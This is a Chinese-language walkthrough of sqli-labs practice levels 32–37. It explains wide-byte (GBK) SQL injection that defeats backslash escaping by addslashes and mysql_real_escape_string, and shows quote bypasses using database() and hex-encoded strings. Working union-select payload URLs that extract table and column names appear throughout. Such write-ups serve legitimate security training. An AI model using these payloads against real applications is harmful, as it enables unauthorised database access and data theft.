No.32【宽字节注入】【绕过引号】

这一关过滤了

'
"
/
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash




    return $string;
}

sql-labs 32-37关超级详细的WP_sql注入

正常注入'会被转义,这里我没想到可以用宽字节注入,因为汉字是两个字节,我们可以在,即转义符号之前加上另一个十六进制把它构成一个汉字:

?id=1%dd'

这里%dd变成十六进制(0xdd)和后面的\(0x5c)在一起构成了0xdd0x5c是一个汉字,后面的单引号就被释放了。

宽字节注入:本人理解的是,由于英文编码每个字母占一个字节,而汉语编码每个汉字占用两个字节,而注入的时候会自动在单引号和双引号前面加上反斜杠(\’)进行转义造成注入失败,所以前面再加上一个汉语编码,如%df(其他编码也可以,不过要ASCII值大于128服务器才会认为是汉字(GBK)编码),由于服务器认为编码是两个字节所以会将后面的反斜杠编码(\)即%5c也看作是汉语编码,从而造成%df%5c被认为是一个汉字,后面的单引号逃逸了出来构成注入。

sql-labs 32-37关超级详细的WP_sql注入_02

这样就成功报错,接下来正常注入就行了

还有一个小问题,就是我们遇到如下语句时也是会接触双引号的

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

这里有两种方法绕过

方法一:直接用database()代替'security'
?id=-1%dd%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+


方法二:可以使用十六进制绕过
?id=-1%dd%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
//首先,这里的十六进制之前要加0x;
//其次,这里十六进制encoding的只是security而不是'security'

爆列类似:

?id=-1%dd%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+

No.33【addslashes()】

这一关用的addslashes()函数

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

但总的注入方法还是一样的。

?id=-1%dd'  union select 1,database(),3--+

No.34【POST绕过引号】

这一关也是过滤引号,只不过数据是要用POST传递,既然是POST传递,那么结果就会被url编码,比如%dd会变成%25dd。既然这样我们就只能取原字符,类似于:

sql-labs 32-37关超级详细的WP_sql注入_03

也可以bp直接跑,还是填%dd,不会二次编码。

No.35

都一样,就是成了数字型注入

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+

No.36-No.37【mysql_real_escape_string()】

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

\x00\n\r\'"\x1a

而对于sql注入来说这个函数和之前的addslashes()函数差距应该不是太大,所以注入方式就见前两关,不再赘述。